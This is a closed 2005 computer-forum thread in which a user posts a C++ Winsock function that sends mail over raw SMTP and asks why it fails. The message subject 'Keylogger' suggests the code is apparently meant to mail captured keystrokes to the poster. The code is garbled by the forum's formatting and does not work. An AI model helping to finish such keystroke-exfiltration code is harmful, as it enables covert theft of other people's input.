Computer Forums

Member Login

Remember Me? Sign Up! | Forgot Password
 
Slogan
 
Closed Thread
Old 03-22-2005, 11:42 PM   #1 (permalink)
 
True Techie

Join Date: Jun 2003

Posts: 125

C_olin

Send a message via Yahoo to C_olin
Default sending mail in C++

here is my function:

PHP Code:
void sendMail(charbody) {
    
WORD sockVersion;
    
WSADATA wsaData;

    
sockVersion MAKEWORD(20);

    
WSAStartup(sockVersion, &wsaData);

    
LPHOSTENT hostEntry;
    
hostEntry gethostbyname("smtp.gmail.com");

    
SOCKET smtpSocket;
    
smtpSocket socket(AF_INETSOCK_STREAMIPPROTO_TCP);

    
SOCKADDR_IN serverInfo;
    
serverInfo.sin_family AF_INET;
    
serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
    
serverInfo.sin_port htons(25);        
    
    
connect(smtpSocket, (LPSOCKADDR)&serverInfosizeof(struct sockaddr));

    
send(smtpSocket"helo\n\r"60);
    
send(smtpSocket"mail from:me@mail.com\n\r"strlen("mail from:me@mail.com\n\r"), 0);
    
send(smtpSocket"rcpt to:colin3404@gmail.com\n\r"strlen("rcpt to:colin3404@gmail.com\n\r"),0);
    
send(smtpSocket"data\n\r"60);
    
send(smtpSocket"subject:Keylogger\n\r"strlen("subject:Keylogger\n\r"), 0);
    
sprintf(buffer1"contenido:%s\n\r.\n\r"body);
    
send(smtpSocketbuffer1strlen("contenido:\n\r.\n\r")+strlen(body), 0);
    
send(smtpSocket"quit\n\r"6,);

    
closesocket(smtpSocket);
    
WSACleanup();

It uses correct SMTP protocols but it doesnt work..... any ideas?

Thanks!
C_olin is offline  
 
Closed Thread

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On